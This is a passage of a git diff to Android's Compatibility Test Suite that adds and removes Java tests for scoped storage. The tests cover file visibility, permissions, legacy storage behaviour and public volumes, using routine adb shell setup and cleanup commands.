+        assertThat(listedFileNames).doesNotContain(file);
+
+        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+        assertThat(listedFileNames).contains(pendingOrTrashedFile.getName());
+
+        // App with READ_EXTERNAL_STORAGE can't see other app's pending or trashed file.
+        assertThat(listAs(APP_A_HAS_RES, parentDirPath)).doesNotContain(
+                pendingOrTrashedFile.getName());
+
+        final int resAppUid =
+                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+        // File Manager can see any pending or trashed file.
+        assertThat(listAs(APP_FM, parentDirPath)).contains(pendingOrTrashedFile.getName());
+
+
+        try {
+            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            if (isImageOrVideo) {
+                // System Gallery can see any pending or trashed image/video file.
+                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertThat(listAs(APP_A_HAS_RES, parentDirPath)).contains(
+                        pendingOrTrashedFile.getName());
+            } else {
+                // System Gallery can't see other app's pending or trashed non media file.
+                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertThat(listAs(APP_A_HAS_RES, parentDirPath))
+                        .doesNotContain(pendingOrTrashedFile.getName());
+            }
+        } finally {
+            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    private Uri createPendingFile(File pendingFile) throws Exception {
+        assertTrue(pendingFile.createNewFile());
+
+        final ContentResolver cr = getContentResolver();
+        final Uri trashedFileUri = MediaStore.scanFile(cr, pendingFile);
+        assertNotNull(trashedFileUri);
+
+        final ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.IS_PENDING, 1);
+        assertEquals(1, cr.update(trashedFileUri, values, Bundle.EMPTY));
+
+        return trashedFileUri;
+    }
+
+    private Uri createTrashedFile(File trashedFile) throws Exception {
+        assertTrue(trashedFile.createNewFile());
+
+        final ContentResolver cr = getContentResolver();
+        final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
+        assertNotNull(trashedFileUri);
+
+        trashFile(trashedFileUri);
+        return trashedFileUri;
+    }
+
+    private void trashFile(Uri uri) throws Exception {
+        final ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.IS_TRASHED, 1);
+        assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
+    }
+
+    /**
+     * Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
+     * multiple db rows, file path is extracted from the first db row of the database query result.
+     */
+    private String getFilePathFromUri(Uri uri) {
+        final String[] projection = new String[] {MediaStore.MediaColumns.DATA};
+        try (Cursor c = getContentResolver().query(uri, projection, null, null)) {
+            assertTrue(c.moveToFirst());
+            return c.getString(0);
+        }
+    }
+
+    private boolean isMediaTypeImageOrVideo(File file) {
+        return queryImageFile(file).getCount() == 1 || queryVideoFile(file).getCount() == 1;
+    }
+
+    private static void assertIsMediaTypeImage(File file) {
+        final Cursor c = queryImageFile(file);
+        assertEquals(1, c.getCount());
+    }
+
+    private static void assertNotMediaTypeImage(File file) {
+        final Cursor c = queryImageFile(file);
+        assertEquals(0, c.getCount());
+    }
+
+    private static void assertCantQueryFile(File file) {
+        assertThat(getFileUri(file)).isNull();
+        // Confirm that file exists in the database.
+        assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+    }
+
+    private static void assertCreateFilesAs(TestApp testApp, File... files) throws Exception {
+        for (File file : files) {
+            assertFalse("File already exists: " + file, file.exists());
+            assertTrue("Failed to create file " + file + " on behalf of "
+                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+        }
+    }
+
+    /**
+     * Makes {@code testApp} create {@code files}. Publishes {@code files} by scanning the file.
+     * Pending files from FUSE are not visible to other apps via MediaStore APIs. We have to publish
+     * the file or make the file non-pending to make the file visible to other apps.
+     * <p>
+     * Note that this method can only be used for scannable files.
+     */
+    private static void assertCreatePublishedFilesAs(TestApp testApp, File... files)
+            throws Exception {
+        for (File file : files) {
+            assertTrue("Failed to create published file " + file + " on behalf of "
+                    + testApp.getPackageName(), createFileAs(testApp, file.getPath()));
+            assertNotNull("Failed to scan " + file,
+                    MediaStore.scanFile(getContentResolver(), file));
+        }
+    }
+
+
+    private static void deleteFilesAs(TestApp testApp, File... files) throws Exception {
+        for (File file : files) {
+            deleteFileAs(testApp, file.getPath());
+        }
+    }
+    private static void assertCanDeletePathsAs(TestApp testApp, String... filePaths)
+            throws Exception {
+        for (String path: filePaths) {
+            assertTrue("Failed to delete file " + path + " on behalf of "
+                    + testApp.getPackageName(), deleteFileAs(testApp, path));
+        }
+    }
+
+    private static void assertCantDeletePathsAs(TestApp testApp, String... filePaths)
+            throws Exception {
+        for (String path: filePaths) {
+            assertFalse("Deleting " + path + " on behalf of " + testApp.getPackageName()
+                    + " was expected to fail", deleteFileAs(testApp, path));
+        }
+    }
+
+    private void deleteFiles(File... files) {
+        for (File file: files) {
+            if (file == null) continue;
+            file.delete();
+        }
+    }
+
+    private void deletePaths(String... paths) {
+        for (String path: paths) {
+            if (path == null) continue;
+            new File(path).delete();
+        }
+    }
+
+    private static void assertCanDeletePaths(String... filePaths) {
+        for (String filePath : filePaths) {
+            assertTrue("Failed to delete " + filePath,
+                    new File(filePath).delete());
+        }
+    }
+
+    /**
+     * For possible values of {@code mode}, look at {@link android.content.ContentProvider#openFile}
+     */
+    private static void assertCanQueryAndOpenFile(File file, String mode) throws IOException {
+        // This call performs the query
+        final Uri fileUri = getFileUri(file);
+        // The query succeeds iff it didn't return null
+        assertThat(fileUri).isNotNull();
+        // Now we assert that we can open the file through ContentResolver
+        try (ParcelFileDescriptor pfd =
+                     getContentResolver().openFileDescriptor(fileUri, mode)) {
+            assertThat(pfd).isNotNull();
+        }
+    }
+
+    /**
+     * Assert that the last read in: read - write - read using {@code readFd} and {@code writeFd}
+     * see the last write. {@code readFd} and {@code writeFd} are fds pointing to the same
+     * underlying file on disk but may be derived from different mount points and in that case
+     * have separate VFS caches.
+     */
+    private void assertRWR(ParcelFileDescriptor readPfd, ParcelFileDescriptor writePfd)
+            throws Exception {
+        FileDescriptor readFd = readPfd.getFileDescriptor();
+        FileDescriptor writeFd = writePfd.getFileDescriptor();
+
+        byte[] readBuffer = new byte[10];
+        byte[] writeBuffer = new byte[10];
+        Arrays.fill(writeBuffer, (byte) 1);
+
+        // Write so readFd has content to read from next
+        Os.pwrite(readFd, readBuffer, 0, 10, 0);
+        // Read so readBuffer is in readFd's mount VFS cache
+        Os.pread(readFd, readBuffer, 0, 10, 0);
+
+        // Assert that readBuffer is zeroes
+        assertThat(readBuffer).isEqualTo(new byte[10]);
+
+        // Write so writeFd and readFd should now see writeBuffer
+        Os.pwrite(writeFd, writeBuffer, 0, 10, 0);
+
+        // Read so the last write can be verified on readFd
+        Os.pread(readFd, readBuffer, 0, 10, 0);
+
+        // Assert that the last write is indeed visible via readFd
+        assertThat(readBuffer).isEqualTo(writeBuffer);
+        assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
+    }
+
+    private void assertStartsWith(String actual, String prefix) throws Exception {
+        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
+
+        assertWithMessage(message).that(actual).startsWith(prefix);
+    }
+
+    private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/storage";
+
+        assertStartsWith(path, prefix);
+    }
+
+    private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/mnt/user";
+
+        assertStartsWith(path, prefix);
+    }
+
+    private void assertLowerFsFdWithPassthrough(ParcelFileDescriptor pfd) throws Exception {
+        if (getBoolean("persist.sys.fuse.passthrough.enable", false)) {
+            assertUpperFsFd(pfd);
+        } else {
+            assertLowerFsFd(pfd);
+        }
+    }
+
+    private static void assertCanCreateFile(File file) throws IOException {
+        // If the file somehow managed to survive a previous run, then the test app was uninstalled
+        // and MediaProvider will remove our its ownership of the file, so it's not guaranteed that
+        // we can create nor delete it.
+        if (!file.exists()) {
+            assertThat(file.createNewFile()).isTrue();
+            assertThat(file.delete()).isTrue();
+        } else {
+            Log.w(TAG,
+                    "Couldn't assertCanCreateFile(" + file + ") because file existed prior to "
+                            + "running the test!");
+        }
+    }
+
+    private static void assertCannotReadOrWrite(File file)
+            throws Exception {
+        // App data directories have different 'x' bits on upgrading vs new devices. Let's not
+        // check 'exists', by passing checkExists=false. But assert this app cannot read or write
+        // the other app's file.
+        assertAccess(file, false /* value is moot */, false /* canRead */,
+                false /* canWrite */, false /* checkExists */);
+    }
+
+    private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
+            throws Exception {
+        assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
+    }
+
+    private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite,
+            boolean checkExists) throws Exception {
+        if (checkExists) {
+            assertThat(file.exists()).isEqualTo(exists);
+        }
+        assertThat(file.canRead()).isEqualTo(canRead);
+        assertThat(file.canWrite()).isEqualTo(canWrite);
+        if (file.isDirectory()) {
+            if (checkExists) {
+                assertThat(file.canExecute()).isEqualTo(exists);
+            }
+        } else {
+            assertThat(file.canExecute()).isFalse(); // Filesytem is mounted with MS_NOEXEC
+        }
+
+        // Test some combinations of mask.
+        assertAccess(file, R_OK, canRead);
+        assertAccess(file, W_OK, canWrite);
+        assertAccess(file, R_OK | W_OK, canRead && canWrite);
+        assertAccess(file, W_OK | F_OK, canWrite);
+
+        if (checkExists) {
+            assertAccess(file, F_OK, exists);
+        }
+    }
+
+    private static void assertAccess(File file, int mask, boolean expected) throws Exception {
+        if (expected) {
+            assertThat(Os.access(file.getAbsolutePath(), mask)).isTrue();
+        } else {
+            assertThrows(ErrnoException.class, () -> {
+                Os.access(file.getAbsolutePath(), mask);
+            });
+        }
+    }
+
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createFileAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating file " + file);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath())).isTrue();
+    }
+
+    /**
+     * Creates a file at any location on storage (except external app data directory).
+     * The owner of the file is not the caller app.
+     */
+    private void createDirectoryAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to create this file, since it could be outside shared storage.
+        Log.d(TAG, "Creating directory " + file);
+        // Create a tmp file in the target directory, this would also create the required
+        // directory, then delete the tmp file. It would leave only new directory.
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+        assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+    }
+
+    /**
+     * Deletes a file or directory at any location on storage (except external app data directory).
+     */
+    private void deleteAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to delete this file, since it could be outside shared storage.
+        Log.d(TAG, "Deleting file " + file);
+        deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 594fd6a..2a63325 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -203,4 +203,45 @@
     public void testInsertWithUnsupportedMimeType() throws Exception {
         runDeviceTest("testInsertWithUnsupportedMimeType");
     }
+
+    @Test
+    public void testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates() throws Exception {
+        runDeviceTest("testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates");
+    }
+
+    @Test
+    public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
+        revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        runDeviceTest("testLegacySystemGalleryWithoutWESCannotRename");
+    }
+
+    @Test
+    public void testLegacyWESCanRenameImagesAndVideosWithDbUpdates_hasW() throws Exception {
+        runDeviceTest("testLegacyWESCanRenameImagesAndVideosWithDbUpdates_hasW");
+    }
+
+    @Test
+    public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
+        runDeviceTest("testScanUpdatesMetadataForNewlyAddedFile_hasRW");
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaData");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaData");
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaRelativePath");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaRelativePath");
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java
new file mode 100644
index 0000000..6f3862f
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PreserveLegacyStorageHostTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs the legacy file path access tests.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class PreserveLegacyStorageHostTest extends BaseHostTestCase {
+    private static final String LEGACY_29_APK = "CtsLegacyStorageTestAppRequestLegacy.apk";
+    private static final String PRESERVE_30_APK = "CtsLegacyStorageTestAppPreserveLegacy.apk";
+    private static final String PACKAGE_NAME = "android.scopedstorage.cts.legacy";
+
+    protected void installApp(String appFileName) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        int userId = getCurrentUserId();
+        String result = getDevice().installPackageForUser(
+                buildHelper.getTestFile(appFileName), true, true, userId, "-t");
+        assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
+                result);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(PACKAGE_NAME);
+    }
+
+    @Test
+    public void testPreserveLegacy() throws Exception {
+        // Most of these tests are done device-side; see RestrictedStoragePermissionTest.java
+        // This test is done on the host, because we want to verify preserveLegacyExternalStorage
+        // is sticky across a reboot.
+        installApp(LEGACY_29_APK);
+        String result = getDevice().executeShellCommand(
+                                    "appops get " + PACKAGE_NAME + " LEGACY_STORAGE");
+        assertThat(result).contains(": allow");
+
+        // Upgrade to targetSdk 30 with preserveLegacyExternalStorage
+        installApp(PRESERVE_30_APK);
+        result = getDevice().executeShellCommand(
+                                    "appops get " + PACKAGE_NAME + " LEGACY_STORAGE");
+
+        // And make sure we still have legacy
+        assertThat(result).contains(": allow");
+
+        // Reboot, and again make sure we have legacy
+        getDevice().reboot();
+        result = getDevice().executeShellCommand(
+                                    "appops get " + PACKAGE_NAME + " LEGACY_STORAGE");
+        assertThat(result).contains(": allow");
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeCoreHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeCoreHostTest.java
new file mode 100644
index 0000000..e92217d
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/PublicVolumeCoreHostTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import com.android.tradefed.device.ITestDevice;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+
+public class PublicVolumeCoreHostTest extends ScopedStorageCoreHostTest {
+    /* Used to clean up the virtual volume after the test */
+    private static ITestDevice sDevice = null;
+    private boolean mIsPublicVolumeSetup = false;
+    String executeShellCommand(String cmd) throws Exception {
+        return getDevice().executeShellCommand(cmd);
+    }
+
+    private void setupNewPublicVolume() throws Exception {
+        if (!mIsPublicVolumeSetup) {
+            assertTrue(runDeviceTests("android.scopedstorage.cts",
+                    "android.scopedstorage.cts.PublicVolumeTestHelper", "setupNewPublicVolume"));
+            mIsPublicVolumeSetup = true;
+        }
+    }
+
+    private void setupDevice() {
+        if (sDevice == null) {
+            sDevice = getDevice();
+        }
+    }
+
+    /**
+     * Runs the given phase of PublicVolumeTest by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    @Override
+    void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.PublicVolumeTest", phase));
+    }
+
+    @Before
+    public void setup() throws Exception {
+        setupDevice();
+        setupNewPublicVolume();
+        super.setup();
+    }
+
+    @AfterClass
+    public static void deletePublicVolumes() throws Exception {
+        if (sDevice != null) {
+            sDevice.executeShellCommand("sm set-virtual-disk false");
+        }
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java
new file mode 100644
index 0000000..7d8a6e7
--- /dev/null
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.host;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Runs the core ScopedStorageTest tests.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class ScopedStorageCoreHostTest extends BaseHostTestCase {
+    private boolean mIsExternalStorageSetup = false;
+
+    /**
+     * Runs the given phase of ScopedStorageTest by calling into the device.
+     * Throws an exception if the test phase fails.
+     */
+    void runDeviceTest(String phase) throws Exception {
+        assertTrue(runDeviceTests("android.scopedstorage.cts",
+                "android.scopedstorage.cts.ScopedStorageTest", phase));
+
+    }
+
+    private void setupExternalStorage() throws Exception {
+        if (!mIsExternalStorageSetup) {
+            runDeviceTest("setupExternalStorage");
+            mIsExternalStorageSetup = true;
+        }
+    }
+
+    @Before
+    public void setup() throws Exception {
+        setupExternalStorage();
+        executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
+        executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
+    }
+
+    @Before
+    public void revokeStoragePermissions() throws Exception {
+        revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE",
+                "android.permission.READ_EXTERNAL_STORAGE");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
+    }
+
+    @Test
+    public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testManageExternalStorageReaddir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageReaddir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
+    public void testAccess_file() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testAccess_file");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testAccess_directory() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE",
+                "android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testAccess_directory");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE",
+                    "android.permission.WRITE_EXTERNAL_STORAGE");
+        }
+    }
+
+    private void grantPermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
+        for (String perm : perms) {
+            executeShellCommand("pm grant --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
+        }
+    }
+
+    private void revokePermissions(String... perms) throws Exception {
+        int currentUserId = getCurrentUserId();
+        for (String perm : perms) {
+            executeShellCommand("pm revoke --user %d android.scopedstorage.cts %s",
+                    currentUserId, perm);
+        }
+    }
+
+    private void allowAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts %s allow", op);
+        }
+    }
+
+    private void denyAppOps(String... ops) throws Exception {
+        for (String op : ops) {
+            executeShellCommand("cmd appops set --uid android.scopedstorage.cts %s deny", op);
+        }
+    }
+}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 9e29480..edc615d 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -21,7 +21,6 @@
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.contentprovider.ContentProviderHandler;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
 
@@ -38,8 +37,6 @@
 public class ScopedStorageHostTest extends BaseHostTestCase {
     private boolean mIsExternalStorageSetup;
 
-    private ContentProviderHandler mContentProviderHandler;
-
     /**
      * Runs the given phase of ScopedStorageTest by calling into the device.
      * Throws an exception if the test phase fails.
@@ -71,11 +68,6 @@
 
     @Before
     public void setup() throws Exception {
-        // Set up content provider. This would install android.tradefed.contentprovider
-        // which is used to create and delete files/Dir on device side test.
-        mContentProviderHandler = new ContentProviderHandler(getDevice());
-        mContentProviderHandler.setUp();
-
         setupExternalStorage();
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell -m 2770");
         executeShellCommand("mkdir /sdcard/Android/data/com.android.shell/files -m 2770");
@@ -89,190 +81,10 @@
 
     @After
     public void tearDown() throws Exception {
-        mContentProviderHandler.tearDown();
         executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
     }
 
     @Test
-    public void testTypePathConformity() throws Exception {
-        runDeviceTest("testTypePathConformity");
-    }
-
-    @Test
-    public void testCreateFileInAppExternalDir() throws Exception {
-        runDeviceTest("testCreateFileInAppExternalDir");
-    }
-
-    @Test
-    public void testCreateFileInOtherAppExternalDir() throws Exception {
-        runDeviceTest("testCreateFileInOtherAppExternalDir");
-    }
-
-    @Test
-    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
-        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
-    }
-
-    @Test
-    public void testContributeMediaFile() throws Exception {
-        runDeviceTest("testContributeMediaFile");
-    }
-
-    @Test
-    public void testCreateAndDeleteEmptyDir() throws Exception {
-        runDeviceTest("testCreateAndDeleteEmptyDir");
-    }
-
-    @Test
-    public void testCantDeleteOtherAppsContents() throws Exception {
-        runDeviceTest("testCantDeleteOtherAppsContents");
-    }
-
-    @Test
-    public void testDeleteAlreadyUnlinkedFile() throws Exception {
-        runDeviceTest("testDeleteAlreadyUnlinkedFile");
-
-    }
-    @Test
-    public void testOpendirRestrictions() throws Exception {
-        runDeviceTest("testOpendirRestrictions");
-    }
-
-    @Test
-    public void testLowLevelFileIO() throws Exception {
-        runDeviceTest("testLowLevelFileIO");
-    }
-
-    @Test
-    public void testListDirectoriesWithMediaFiles() throws Exception {
-        runDeviceTest("testListDirectoriesWithMediaFiles");
-    }
-
-    @Test
-    public void testListDirectoriesWithNonMediaFiles() throws Exception {
-        runDeviceTest("testListDirectoriesWithNonMediaFiles");
-    }
-
-    @Test
-    public void testListFilesFromExternalFilesDirectory() throws Exception {
-        runDeviceTest("testListFilesFromExternalFilesDirectory");
-    }
-
-    @Test
-    public void testListFilesFromExternalMediaDirectory() throws Exception {
-        runDeviceTest("testListFilesFromExternalMediaDirectory");
-    }
-
-    @Test
-    public void testListUnsupportedFileType() throws Exception {
-        runDeviceTest("testListUnsupportedFileType");
-    }
-
-    @Test
-    public void testMetaDataRedaction() throws Exception {
-        runDeviceTest("testMetaDataRedaction");
-    }
-
-    @Test
-    public void testVfsCacheConsistency() throws Exception {
-        runDeviceTest("testOpenFilePathFirstWriteContentResolver");
-        runDeviceTest("testOpenContentResolverFirstWriteContentResolver");
-        runDeviceTest("testOpenFilePathFirstWriteFilePath");
-        runDeviceTest("testOpenContentResolverFirstWriteFilePath");
-        runDeviceTest("testOpenContentResolverWriteOnly");
-        runDeviceTest("testOpenContentResolverDup");
-        runDeviceTest("testContentResolverDelete");
-        runDeviceTest("testContentResolverUpdate");
-        runDeviceTest("testOpenContentResolverClose");
-    }
-
-    @Test
-    public void testCaseInsensitivity() throws Exception {
-        runDeviceTest("testCreateLowerCaseDeleteUpperCase");
-        runDeviceTest("testCreateUpperCaseDeleteLowerCase");
-        runDeviceTest("testCreateMixedCaseDeleteDifferentMixedCase");
-        runDeviceTest("testAndroidDataObbDoesNotForgetMount");
-        runDeviceTest("testCacheConsistencyForCaseInsensitivity");
-    }
-
-    @Test
-    public void testCallingIdentityCacheInvalidation() throws Exception {
-        // General IO access
-        runDeviceTest("testReadStorageInvalidation");
-        runDeviceTest("testWriteStorageInvalidation");
-        // File manager access
-        runDeviceTest("testManageStorageInvalidation");
-        // Default gallery
-        runDeviceTest("testWriteImagesInvalidation");
-        runDeviceTest("testWriteVideoInvalidation");
-        // EXIF access
-        runDeviceTest("testAccessMediaLocationInvalidation");
-
-        runDeviceTest("testAppUpdateInvalidation");
-        runDeviceTest("testAppReinstallInvalidation");
-    }
-
-    @Test
-    public void testRenameFile() throws Exception {
-        runDeviceTest("testRenameFile");
-    }
-
-    @Test
-    public void testRenameFileType() throws Exception {
-        runDeviceTest("testRenameFileType");
-    }
-
-    @Test
-    public void testRenameAndReplaceFile() throws Exception {
-        runDeviceTest("testRenameAndReplaceFile");
-    }
-
-    @Test
-    public void testRenameFileNotOwned() throws Exception {
-        runDeviceTest("testRenameFileNotOwned");
-    }
-
-    @Test
-    public void testRenameDirectory() throws Exception {
-        runDeviceTest("testRenameDirectory");
-    }
-
-    @Test
-    public void testRenameDirectoryNotOwned() throws Exception {
-        runDeviceTest("testRenameDirectoryNotOwned");
-    }
-
-    @Test
-    public void testRenameEmptyDirectory() throws Exception {
-        runDeviceTest("testRenameEmptyDirectory");
-    }
-
-    @Test
-    public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
-        runDeviceTest("testSystemGalleryAppHasFullAccessToImages");
-    }
-
-    @Test
-    public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
-        runDeviceTest("testSystemGalleryAppHasNoFullAccessToAudio");
-    }
-
-    @Test
-    public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
-        runDeviceTest("testSystemGalleryCanRenameImagesAndVideos");
-    }
-
-    @Test
-    public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
-        allowAppOps("android:manage_external_storage");
-        try {
-            runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
-        } finally {
-            denyAppOps("android:manage_external_storage");
-        }
-    }
-
-    @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
@@ -283,16 +95,6 @@
     }
 
     @Test
-    public void testManageExternalStorageReaddir() throws Exception {
-        allowAppOps("android:manage_external_storage");
-        try {
